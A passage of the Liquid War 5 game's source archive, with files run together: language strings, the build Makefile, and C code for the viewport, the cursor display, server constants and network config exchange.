"Unable to load datafile. Are you sure Liquid War is correctly installed?"; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_CUSTOMFAIL] = "Unable to load custom data."; LW_LANGEN_DATA[LW_LANG_STRING_POPUP_GRAPHICSFAIL] = "Unable to initialize graphics."; LW_LANGEN_DATA[LW_LANG_STRING_LW6_INFO] = "This program is obsolete, please consider upgrading to Liquid War 6, available on\n\nhttp://www.gnu.org/software/liquidwar6/\n\nHowever, Liquid War 5 is still available for your convenience, and you can play it freely. Only major security holes will be fixed, expect no major changes on this legacy branch."; LW_LANGEN_DATA[LW_LANG_STRING_LW6_OK] = "OK"; } /*------------------------------------------------------------------*/ /* returns the English string associated to an id */ /*------------------------------------------------------------------*/ char * lw_langen_string (int id) { char *result = NULL; if (id >= 0 && id < LW_LANG_NB_STRINGS) { result = LW_LANGEN_DATA[id]; } if (!result) { result = "??? en"; } return result; } liquidwar-5.6.5/src/Makefile.in0000664000372000037200000001407713407756104016006 0ustar travistravis prefix = @prefix@ exec_prefix = @exec_prefix@ datarootdir = @datarootdir@ datadir = @datadir@ DATADIR = $(datadir)/games/liquidwar GAMEDIR = $(exec_prefix)/games HOST_OPT = @HOST_OPT@ STATIC = @STATIC@ SNPRINTF = @SNPRINTF@ ALCFLAGS = @ALCFLAGS@ ASM = @ASM@ DEBUG = @DEBUG@ EFENCE = @EFENCE@ PTHREAD = @PTHREAD@ GP2X = @GP2X@ ifeq ($(HOST_OPT),yes) HOST = @host@ HOST_CPU = @host_cpu@ HOST_CPU_CC = "-march=@host_cpu@" else HOST = default HOST_CPU = default HOST_CPU_CC = endif # -mcpu=x86_64 doesn't work, here's a workarround ifeq ("@host_cpu@","x86_64") HOST_CPU_CC = "-m64" endif ifeq ($(DEBUG),yes) DEBUG_FLAGS = -g3 DEBUG_OPTIONS = -DDEBUG ALLEGRO_LIBRARY = debug else DEBUG_FLAGS = -O2 -fomit-frame-pointer DEBUG_OPTIONS = ALLEGRO_LIBRARY = release endif ifeq ($(EFENCE),yes) EFENCE_LIBRARY = -lefence else EFENCE_LIBRARY = endif ifeq ($(GP2X),yes) GP2X_OPTIONS = -DGP2X else GP2X_OPTIONS = endif ifeq ($(SNPRINTF),yes) SNPRINTF_NAMES = SNPRINTF_OPTIONS = SNPRINTF_MODE = "using system library" else SNPRINTF_NAMES = ../utils/snprintf/snprintf SNPRINTF_OPTIONS = -DSNPRINTF SNPRINTF_MODE = "using Mark Martinec's implementation" endif ifeq ($(ASM),yes) ASM_NAMES = glouglou monster spread ASM_OPTIONS = -DASM else ASM_NAMES = ASM_OPTIONS = endif OBJ_NAMES = \ about \ advanced \ alleg2 \ area \ army \ asm \ autoplay \ back \ basicopt \ bigdata \ capture \ chat \ checksum \ code \ config \ connect \ controls \ cursor \ decal \ dialog \ disk \ disp \ distor \ dnsutil \ error \ exec2 \ exit \ fighter \ game \ gfxmode \ grad \ graphics \ help \ httputil \ info \ init \ internet \ joystick \ keyboard \ keyexch \ lang \ langde \ langdk \ langen \ langfr \ langpl \ language \ level \ logcli \ lw6 \ main \ map \ maptex \ menu \ mesh \ message \ mouse \ move \ music \ mutxunix \ netconf \ netgame \ netkey \ netmap \ netmess \ netplay \ network \ options \ palette \ parser \ path \ ping \ pion \ play \ profile \ protocol \ random \ rules \ score \ serial \ sock2cli \ sockex \ sockunix \ sound \ speeds \ startinf \ startup \ team \ texture \ thrdunix \ ticker \ time \ viewport \ volume \ watchdog \ wave \ wwwcli \ x11icon \ $(SNPRINTF_NAMES) \ $(ASM_NAMES) OBJ_NAMES_SRV = \ basicopt \ chat \ dnsutil \ execunix \ httputil \ logsrv \ netconf \ netkey \ netmap \ netmess \ parser \ serial \ server \ sock2srv \ sockex \ sockunix \ srvchan \ srvcont \ srvteam \ srvtime \ startinf \ thrdunix \ wwwsrv \ $(SNPRINTF_NAMES) OBJ_NAMES_MAPGEN = \ ../utils/lwmapgen/big_quad \ ../utils/lwmapgen/boxes \ ../utils/lwmapgen/bubbles \ ../utils/lwmapgen/circles \ ../utils/lwmapgen/circuit \ ../utils/lwmapgen/cut \ ../utils/lwmapgen/func \ ../utils/lwmapgen/hole \ ../utils/lwmapgen/lines \ ../utils/lwmapgen/main \ ../utils/lwmapgen/map \ ../utils/lwmapgen/map_generator \ ../utils/lwmapgen/misc \ ../utils/lwmapgen/rand_box \ ../utils/lwmapgen/rand_func \ ../utils/lwmapgen/rand_poly \ ../utils/lwmapgen/rand_poly_cut \ ../utils/lwmapgen/street \ ../utils/lwmapgen/worms OBJ_FILES = $(addsuffix .o, $(OBJ_NAMES)) OBJ_FILES_SRV = $(addsuffix .o, $(OBJ_NAMES_SRV)) OBJ_FILES_MAPGEN = $(addsuffix .o, $(OBJ_NAMES_MAPGEN)) EXE_FILES = liquidwar liquidwar-server liquidwar-mapgen ifeq ($(STATIC),yes) LINK_OPTIONS = --static EXTERN_LIBS = `allegro-config --static $(ALLEGRO_LIBRARY)` $(EFENCE_LIBRARY) else LINK_OPTIONS = EXTERN_LIBS = `allegro-config --libs $(ALLEGRO_LIBRARY)` $(EFENCE_LIBRARY) endif CONFIG_OPTIONS = \ -DCONFIG_UNIX_CFG=\".liquidwarrc\" \ -DCONFIG_UNIX_DAT=\"$(DATADIR)/liquidwar.dat\" \ -DCONFIG_UNIX_MAP=\"$(DATADIR)/map/\" \ -DCONFIG_UNIX_TEX=\"$(DATADIR)/texture/\" \ -DCONFIG_UNIX_MID=\"$(DATADIR)/music/\" \ -DCONFIG_UNIX_SRV=\"$(GAMEDIR)/liquidwar-server\" \ -DCONFIG_UNIX_GEN=\"$(GAMEDIR)/liquidwar-mapgen\" CMD_CC = $(CC) $(CFLAGS) $(ALCFLAGS) -c $(DEBUG_FLAGS) -Wall -W $(HOST_CPU_CC) $(CONFIG_OPTIONS) $(DEBUG_OPTIONS) $(SPRINTF_OPTIONS) $(ASM_OPTIONS) $(GP2X_OPTIONS) -DUNIX -D_THREAD_SAFE CMD_AS = $(AS) $(ASFLAGS) --32 all: $(EXE_FILES) liquidwar: $(OBJ_FILES) @echo "Linking $@ (host=$(HOST), debug=$(DEBUG), static=$(STATIC), asm=$(ASM))" @$(CC) $(LDFLAGS) $(LINK_OPTIONS) -o $@ $(OBJ_FILES) $(PTHREAD) $(EXTERN_LIBS) liquidwar-server: $(OBJ_FILES_SRV) @echo "Linking $@ (host=$(HOST), debug=$(DEBUG), static=$(STATIC))" @$(CC) $(LDFLAGS) $(LINK_OPTIONS) -o $@ $(OBJ_FILES_SRV) $(PTHREAD) liquidwar-mapgen: $(OBJ_FILES_MAPGEN) @echo "Linking $@ (host=$(HOST), debug=$(DEBUG), static=$(STATIC))" @$(CC) $(LDFLAGS) $(LINK_OPTIONS) -o $@ $(OBJ_FILES_MAPGEN) -lm $(PTHREAD) $(EXTERN_LIBS) dep: @find . \ -name '*.c' | \ grep "\.c" | \ sed "s/^.\///;" | \ xargs $(CMD_CC) -M | \ sed "s/\(.*\.o:\)/\1/g;" > Makefile.dep clean: @rm -f *.o *.obj @rm -f $(OBJ_FILES) $(OBJ_FILES_SRV) $(OBJ_FILES_MAPGEN) @rm -f $(EXE_FILES) distclean: @rm -f Makefile Makefile.dep %.o: %.c @echo "Compiling $< (cpu=$(HOST_CPU), debug=$(DEBUG), asm=$(ASM))" @$(CMD_CC) $< -o $@ %.o: %.s @echo "Assembling" $< @$(CMD_AS) $< -o $@ config: print_config print_cmd_cc print_cmd_as print_cmd_ld @true check: @echo No unit tests, blame the lazy developper. indent: @find . -name "*.[c|h]" -a ! -path "*32*" -exec indent -nut {} \; @find . -name "*.[c|h]" -a ! -path "*32*" -exec splint {} \; print_config: @echo "The configuration options to generate binaries are:" @echo "Host :" $(HOST) @echo "Debug :" $(DEBUG) @echo "Static link :" $(STATIC) @echo "Assembly :" $(ASM) @echo "Snprintf :" $(SNPRINTF_MODE) print_cmd_cc: @echo "The command line to compile .c files in this directory is:" @echo $(CMD_CC) print_cmd_as: @echo "The command line to compile .s files in this directory is:" @echo $(CMD_AS) print_cmd_ld: @echo "The command line to link .o files in this directory is:" @echo $(CC) $(LDFLAGS) $(LINK_OPTIONS) $(PTHREAD) $(EXTERN_LIBS) include Makefile.dep liquidwar-5.6.5/src/viewport.c0000664000372000037200000002025513407756104015757 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : viewport.c */ /* contenu : gestion de l'aire de jeu et du page flipping */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "area.h" #include "alleg2.h" #include "config.h" #include "gfxmode.h" #include "palette.h" #include "viewport.h" #include "info.h" #include "distor.h" #include "log.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int PAGE_FLIP_H = 0; BITMAP *NEXT_SCREEN = NULL; static int VIEWPORT_X = 0; static int VIEWPORT_Y = 0; static int VIEWPORT_W = 0; static int VIEWPORT_H = 0; static int VIEWPORT_CHANGE_REGISTERED = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void rect_for_viewport (void) { rect (screen, VIEWPORT_X - 1, VIEWPORT_Y - 1 + PAGE_FLIP_H, VIEWPORT_X + VIEWPORT_W, VIEWPORT_Y + VIEWPORT_H + PAGE_FLIP_H, MENU_FG); } /*------------------------------------------------------------------*/ static void init_viewport_size (int x, int y, int w, int h) { int scale_w; int scale_h; static int viewport_sizes[7] = { 18, 24, 27, 30, 33, 35, 36 }; scale_w = 10 * w; scale_h = 10 * h; if (CONFIG_VIEWPORT_SIZE >= 8) { VIEWPORT_W = scale_w; VIEWPORT_H = scale_h; } if (CONFIG_VIEWPORT_SIZE > 0 && CONFIG_VIEWPORT_SIZE < 8) { if (scale_w * CURRENT_AREA_H < scale_h * CURRENT_AREA_W) { VIEWPORT_W = (scale_w * (viewport_sizes[CONFIG_VIEWPORT_SIZE - 1])) / viewport_sizes[6]; VIEWPORT_H = (VIEWPORT_W * CURRENT_AREA_H) / CURRENT_AREA_W; } else { VIEWPORT_H = (scale_h * (viewport_sizes[CONFIG_VIEWPORT_SIZE - 1])) / viewport_sizes[6]; VIEWPORT_W = (VIEWPORT_H * CURRENT_AREA_W) / CURRENT_AREA_H; } } if (CONFIG_VIEWPORT_SIZE <= 0) { VIEWPORT_W = CURRENT_AREA_W; VIEWPORT_H = CURRENT_AREA_H; while (VIEWPORT_W > w || VIEWPORT_H > h) { VIEWPORT_W /= 2; VIEWPORT_H /= 2; } } else { VIEWPORT_W *= w; VIEWPORT_H *= h; VIEWPORT_W /= scale_w; VIEWPORT_H /= scale_h; } VIEWPORT_X = x + ((w - VIEWPORT_W) / 8) * 4; VIEWPORT_Y = y + (h - VIEWPORT_H) / 2; } /*------------------------------------------------------------------*/ BITMAP * page_flip (void) { int old_h, new_h; int x, y, w, h; if (CONFIG_PAGE_FLIP && VIRTUAL_H >= (2 * SCREEN_H)) { if (NEXT_SCREEN) { destroy_bitmap (NEXT_SCREEN); } lw_info_get_room_for_viewport (&x, &y, &w, &h); init_viewport_size (x, y, w, h); old_h = PAGE_FLIP_H; new_h = old_h ? 0 : SCREEN_H; scroll_screen (0, old_h); set_clip_rect (screen, 0, new_h, SCREEN_W - 1, new_h + SCREEN_H - 1); PAGE_FLIP_H = new_h; NEXT_SCREEN = create_sub_bitmap (screen, VIEWPORT_X, VIEWPORT_Y + new_h, VIEWPORT_W, VIEWPORT_H); } else { PAGE_FLIP_H = 0; if (VIEWPORT_CHANGE_REGISTERED || !NEXT_SCREEN) { scroll_screen (0, 0); set_clip_rect (screen, 0, 0, SCREEN_W - 1, SCREEN_H - 1); lw_info_get_room_for_viewport (&x, &y, &w, &h); init_viewport_size (x, y, w, h); NEXT_SCREEN = create_sub_bitmap (screen, VIEWPORT_X, VIEWPORT_Y, VIEWPORT_W, VIEWPORT_H); } } if (VIEWPORT_CHANGE_REGISTERED > 0) { rect_for_viewport (); init_distorsion_displayer (); VIEWPORT_CHANGE_REGISTERED--; } return (NEXT_SCREEN); } /*------------------------------------------------------------------*/ void last_flip (void) { if (NEXT_SCREEN) { if (CONFIG_PAGE_FLIP && VIRTUAL_H >= (2 * SCREEN_H)) { set_clip_rect (screen, 0, 0, SCREEN_W - 1, SCREEN_H - 1); if (!PAGE_FLIP_H) { blit (screen, screen, 0, SCREEN_H, 0, 0, SCREEN_W, SCREEN_H); scroll_screen (0, 0); } else PAGE_FLIP_H = 0; } destroy_bitmap (NEXT_SCREEN); NEXT_SCREEN = NULL; } } /*------------------------------------------------------------------*/ void lw_viewport_register_change (int count) { VIEWPORT_CHANGE_REGISTERED = count; } liquidwar-5.6.5/src/pion.c0000664000372000037200000002256613407756104015054 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : pion.c */ /* contenu : affichage des curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "area.h" #include "base.h" #include "config.h" #include "cursor.h" #include "decal.h" #include "palette.h" #include "viewport.h" #include "pion.h" #include "time.h" /*==================================================================*/ /* definitions de types */ /*==================================================================*/ typedef struct { int x; int y; int color; int row; } CURSOR_POINT; /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define CURSOR_CYCLE 256 #define CURSOR_LIGHTS 2 #define CURSOR_COLOR_NUMBER 32 #define CURSOR_POINT_NUMBER 68 #define CL_NUMBER 3 #define CL_INSIDE 0 #define CL_MIDDLE 1 #define CL_MIDDLE2 2 #define CL_OUTSIDE 3 static CURSOR_POINT CURSOR_LAYOUT[CURSOR_POINT_NUMBER] = { {0, -3, 0, CL_INSIDE}, {0, -4, 0, CL_MIDDLE2}, {0, -5, 0, CL_OUTSIDE}, {1, -4, 1, CL_MIDDLE}, {1, -5, 1, CL_OUTSIDE}, {1, -3, 2, CL_INSIDE}, {2, -4, 2, CL_OUTSIDE}, {2, -3, 3, CL_MIDDLE}, {3, -4, 3, CL_OUTSIDE}, {2, -2, 4, CL_INSIDE}, {3, -3, 4, CL_MIDDLE2}, {3, -2, 5, CL_MIDDLE}, {4, -3, 5, CL_OUTSIDE}, {3, -1, 6, CL_INSIDE}, {4, -2, 6, CL_OUTSIDE}, {4, -1, 7, CL_MIDDLE}, {5, -1, 7, CL_OUTSIDE}, {3, 0, 8, CL_INSIDE}, {4, 0, 8, CL_MIDDLE2}, {5, 0, 8, CL_OUTSIDE}, {4, 1, 9, CL_MIDDLE}, {5, 1, 9, CL_OUTSIDE}, {3, 1, 10, CL_INSIDE}, {4, 2, 10, CL_OUTSIDE}, {3, 2, 11, CL_MIDDLE}, {4, 3, 11, CL_OUTSIDE}, {2, 2, 12, CL_INSIDE}, {3, 3, 12, CL_MIDDLE2}, {2, 3, 13, CL_MIDDLE}, {3, 4, 13, CL_OUTSIDE}, {1, 3, 14, CL_INSIDE}, {2, 4, 14, CL_OUTSIDE}, {1, 4, 15, CL_MIDDLE}, {1, 5, 15, CL_OUTSIDE}, {-0, 3, 16, CL_INSIDE}, {-0, 4, 16, CL_MIDDLE2}, {-0, 5, 16, CL_OUTSIDE}, {-1, 4, 17, CL_MIDDLE}, {-1, 5, 17, CL_OUTSIDE}, {-1, 3, 18, CL_INSIDE}, {-2, 4, 18, CL_OUTSIDE}, {-2, 3, 19, CL_MIDDLE}, {-3, 4, 19, CL_OUTSIDE}, {-2, 2, 20, CL_INSIDE}, {-3, 3, 20, CL_MIDDLE2}, {-3, 2, 21, CL_MIDDLE}, {-4, 3, 21, CL_OUTSIDE}, {-3, 1, 22, CL_INSIDE}, {-4, 2, 22, CL_OUTSIDE}, {-4, 1, 23, CL_MIDDLE}, {-5, 1, 23, CL_OUTSIDE}, {-3, -0, 8, CL_INSIDE}, {-4, -0, 24, CL_MIDDLE2}, {-5, -0, 25, CL_OUTSIDE}, {-4, -1, 25, CL_MIDDLE}, {-5, -1, 26, CL_OUTSIDE}, {-3, -1, 10, CL_INSIDE}, {-4, -2, 27, CL_OUTSIDE}, {-3, -2, 27, CL_MIDDLE}, {-4, -3, 28, CL_OUTSIDE}, {-2, -2, 12, CL_INSIDE}, {-3, -3, 28, CL_MIDDLE2}, {-2, -3, 29, CL_MIDDLE}, {-3, -4, 29, CL_OUTSIDE}, {-1, -3, 14, CL_INSIDE}, {-2, -4, 30, CL_OUTSIDE}, {-1, -4, 31, CL_MIDDLE}, {-1, -5, 31, CL_OUTSIDE} }; static char CURSOR_GRAPHIC_MEMORY[NB_TEAMS][CURSOR_POINT_NUMBER]; static char CURSOR_COLOR_MAP[CURSOR_COLOR_NUMBER]; static char CURSOR_COLOR_BACK[CURSOR_COLOR_NUMBER]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void init_disp_cursor (void) { int i, x, y, color_back; for (i = 0; i < CURSOR_COLOR_NUMBER; ++i) { color_back = 0; while (color_back < FG_TEXTURE_FIRST_COLOR || color_back >= FG_TEXTURE_FIRST_COLOR + 32) { x = random () % CURRENT_AREA_W; y = random () % CURRENT_AREA_H; color_back = getpixel (CURRENT_AREA_BACK, x, y); } CURSOR_COLOR_BACK[i] = color_back; } } /*------------------------------------------------------------------*/ static void disp_cursor (int number) { int i, x, y, x0, y0, color_offset; x0 = CURRENT_CURSOR[number].x; y0 = CURRENT_CURSOR[number].y; color_offset = COLOR_FIRST_ENTRY[CURRENT_CURSOR[number].team]; for (i = 0; i < CURSOR_POINT_NUMBER; ++i) { x = x0 + CURSOR_LAYOUT[i].x; y = y0 + CURSOR_LAYOUT[i].y; CURSOR_GRAPHIC_MEMORY[number][i] = getpixel (CURRENT_AREA_DISP, x, y); switch (CURSOR_LAYOUT[i].row) { case CL_OUTSIDE: case CL_INSIDE: case CL_MIDDLE: putpixel (CURRENT_AREA_DISP, x, y, CURSOR_COLOR_MAP[CURSOR_LAYOUT[i].color] + color_offset); break; case CL_MIDDLE2: putpixel (CURRENT_AREA_DISP, x, y, CURSOR_COLOR_BACK[CURSOR_LAYOUT[i].color]); break; } } } /*------------------------------------------------------------------*/ static void undisp_cursor (int number) { int i, x0, y0; x0 = CURRENT_CURSOR[number].x; y0 = CURRENT_CURSOR[number].y; for (i = 0; i < CURSOR_POINT_NUMBER; ++i) { putpixel (CURRENT_AREA_DISP, x0 + CURSOR_LAYOUT[i].x, y0 + CURSOR_LAYOUT[i].y, CURSOR_GRAPHIC_MEMORY[number][i]); } } /*------------------------------------------------------------------*/ void disp_all_cursors (void) { int i, degrad_size, fp, ip; degrad_size = CURSOR_COLOR_NUMBER / (2 * CURSOR_LIGHTS); ip = ((GLOBAL_TICKER * COLORS_PER_TEAM) / CURSOR_CYCLE) % (COLORS_PER_TEAM * 2); fp = 0; for (i = 0; i < CURSOR_COLOR_NUMBER; ++i) { if (ip < COLORS_PER_TEAM) CURSOR_COLOR_MAP[i] = ip; else CURSOR_COLOR_MAP[i] = 2 * COLORS_PER_TEAM - 1 - ip; fp += COLORS_PER_TEAM; while (fp >= degrad_size) { fp -= degrad_size; ip++; } while (ip >= 2 * COLORS_PER_TEAM) ip -= 2 * COLORS_PER_TEAM; } for (i = 0; i < NB_TEAMS; ++i) if (CURRENT_CURSOR[i].active) disp_cursor (i); } /*------------------------------------------------------------------*/ void undisp_all_cursors (void) { int i; for (i = NB_TEAMS - 1; i >= 0; --i) if (CURRENT_CURSOR[i].active) undisp_cursor (i); } liquidwar-5.6.5/src/server.h0000664000372000037200000001024413407756104015410 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : server.h */ /* content : main source for the liquidwar-server executable */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SERVER #define LIQUID_WAR_INCLUDE_SERVER /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_SERVER_DEFAULT_ADDRESS "127.0.0.1" #define LW_SERVER_DEFAULT_PORT 8035 #define LW_SERVER_DEFAULT_LAG 6 #define LW_SERVER_DEFAULT_METASERVER "www.ufoot.org:8053/" #define LW_SERVER_METASERVER_PROTOCOL "1.0" /*==================================================================*/ /* globals */ /*==================================================================*/ char *lw_server_get_log (); void lw_server_exit (int code); #endif liquidwar-5.6.5/src/netconf.c0000664000372000037200000002720213407756104015533 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netconf.c */ /* content : functions to transmit the conf over the network */ /* last update : June 30th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "netconf.h" #include "sock2gen.h" #include "log.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ #define LW_NETCONF_CHECK_RANGE(VAL,MAX) \ if (config->VAL < 0) \ { \ result=0; \ log_print_str("Error: " #VAL " is "); \ log_print_int(config->VAL); \ log_println_str(", and should be >= 0"); \ config->VAL = 0; \ } \ if (config->VAL > MAX) \ { \ result=0; \ log_print_str("Error: " #VAL " is > "); \ log_print_int(config->VAL); \ log_print_str(", and should be <= "); \ log_println_int(MAX); \ config->VAL = MAX; \ } #define LW_NETCONF_PRINT_VALUE(VAL) \ log_print_str(#VAL " = "); \ log_println_int(config->VAL); /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* static functions declaration */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Sends a config over the network */ int lw_netconf_send (int *sock, LW_NETCONF * config) { int result = 0; char buffer[LW_SOCK_MESSAGE_SIZE]; LW_MACRO_SPRINTF1 (buffer, "%d", config->cursor_increase_speed); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->fighter_attack); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->fighter_defense); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->fighter_new_health); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->number_influence); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->fighter_number); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->game_time); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->cpu_advantage); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->cpu_vs_human); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->asm_algorithm); if (lw_sock_send_str (sock, buffer)) { LW_MACRO_SPRINTF1 (buffer, "%d", config->min_map_res); if (lw_sock_send_str (sock, buffer)) { result = 1; } } } } } } } } } } } return result; } /*------------------------------------------------------------------*/ /* * Receives a config from the network */ int lw_netconf_recv (int *sock, LW_NETCONF * config) { int result = 0; char buffer[LW_SOCK_MESSAGE_SIZE]; memset (config, 0, sizeof (LW_NETCONF)); if (lw_sock_recv_str (sock, buffer)) { config->cursor_increase_speed = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->fighter_attack = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->fighter_defense = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->fighter_new_health = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->number_influence = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->fighter_number = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->game_time = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->cpu_advantage = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->cpu_vs_human = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->asm_algorithm = atoi (buffer); if (lw_sock_recv_str (sock, buffer)) { config->min_map_res = atoi (buffer); result = 1; } } } } } } } } } } } return result; } /*------------------------------------------------------------------*/ /* * Checks if all the values are within an acceptable range */ int lw_netconf_check (LW_NETCONF * config) { int result = 1; LW_NETCONF_CHECK_RANGE (cursor_increase_speed, 2); LW_NETCONF_CHECK_RANGE (fighter_attack, 16); LW_NETCONF_CHECK_RANGE (fighter_defense, 16); LW_NETCONF_CHECK_RANGE (fighter_new_health, 16); LW_NETCONF_CHECK_RANGE (number_influence, 16); LW_NETCONF_CHECK_RANGE (fighter_number, 32); LW_NETCONF_CHECK_RANGE (game_time, 16); LW_NETCONF_CHECK_RANGE (cpu_advantage, 4); LW_NETCONF_CHECK_RANGE (cpu_vs_human, 2); LW_NETCONF_CHECK_RANGE (asm_algorithm, 1); LW_NETCONF_CHECK_RANGE (min_map_res, 8); return result; } /*------------------------------------------------------------------*/ /* * Prints the contents of 